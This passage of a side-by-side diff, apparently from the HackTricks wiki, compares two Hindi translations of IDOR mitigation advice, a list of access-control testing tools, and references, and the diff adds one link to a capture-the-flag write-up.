1. हर अनुरोध पर **ऑब्जेक्ट-स्तरीय प्राधिकरण** लागू करें (`user_id == session.user`)।
|
1. हर अनुरोध पर **object-level authorization लागू करें** (`user_id == session.user`)।
|
||||||
2. स्वचालित वृद्धि आईडी के बजाय **अप्रत्यक्ष, अनुमानित पहचानकर्ताओं** (UUIDv4, ULID) को प्राथमिकता दें।
|
2. auto-increment IDs के बजाय **अप्रत्यक्ष, अनुमान-रहित identifiers** (UUIDv4, ULID) पसंद करें।
|
||||||
3. प्राधिकरण **सर्वर-साइड** पर करें, कभी भी छिपे हुए फ़ॉर्म फ़ील्ड या UI नियंत्रणों पर निर्भर न रहें।
|
3. प्राधिकरण **server-side** पर करें; कभी भी hidden form fields या UI controls पर भरोसा न करें।
|
||||||
4. एक केंद्रीय मिडलवेयर में **RBAC / ABAC** जांच लागू करें।
|
4. एक केंद्रीय middleware में **RBAC / ABAC** चेक लागू करें।
|
||||||
5. आईडी की गणना का पता लगाने के लिए **रेट-सीमित और लॉगिंग** जोड़ें।
|
5. IDs की enumeration का पता लगाने के लिए **rate-limiting & logging** जोड़ें।
|
||||||
6. हर नए एंडपॉइंट का सुरक्षा परीक्षण करें (यूनिट, एकीकरण, और DAST)।
|
6. प्रत्येक नए endpoint का security परीक्षण करें (unit, integration, और DAST)।
|
||||||
|
|
||||||
---
|
---
|
||||||
## 5. उपकरण
|
## 5. Tooling
|
||||||
* **BurpSuite एक्सटेंशन**: Authorize, Auto Repeater, Turbo Intruder।
|
* **BurpSuite extensions**: Authorize, Auto Repeater, Turbo Intruder.
|
||||||
* **OWASP ZAP**: Auth Matrix, Forced Browse।
|
* **OWASP ZAP**: Auth Matrix, Forced Browse.
|
||||||
* **Github प्रोजेक्ट्स**: `bwapp-idor-scanner`, `Blindy` (बुल्क IDOR शिकार)।
|
* **Github projects**: `bwapp-idor-scanner`, `Blindy` (bulk IDOR hunting).
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
## संदर्भ
|
## संदर्भ
|
||||||
* [McHire Chatbot Platform: Default Credentials and IDOR Expose 64M Applicants’ PII](https://ian.sh/mcdonalds)
|
* [McHire Chatbot Platform: Default Credentials and IDOR Expose 64M Applicants’ PII](https://ian.sh/mcdonalds)
|
||||||
* [OWASP Top 10 – Broken Access Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control/)
|
* [OWASP Top 10 – Broken Access Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control/)
|
||||||
* [How to Find More IDORs – Vickie Li](https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489)
|
* [How to Find More IDORs – Vickie Li](https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489)
|
||||||
|
* [HTB Nocturnal: IDOR oracle → file theft](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html)
|
||||||
{{#include ../banners/hacktricks-training.md}}
|
{{#include ../banners/hacktricks-training.md}}
|
||||||
|
Loading…
x
Reference in New Issue
Block a user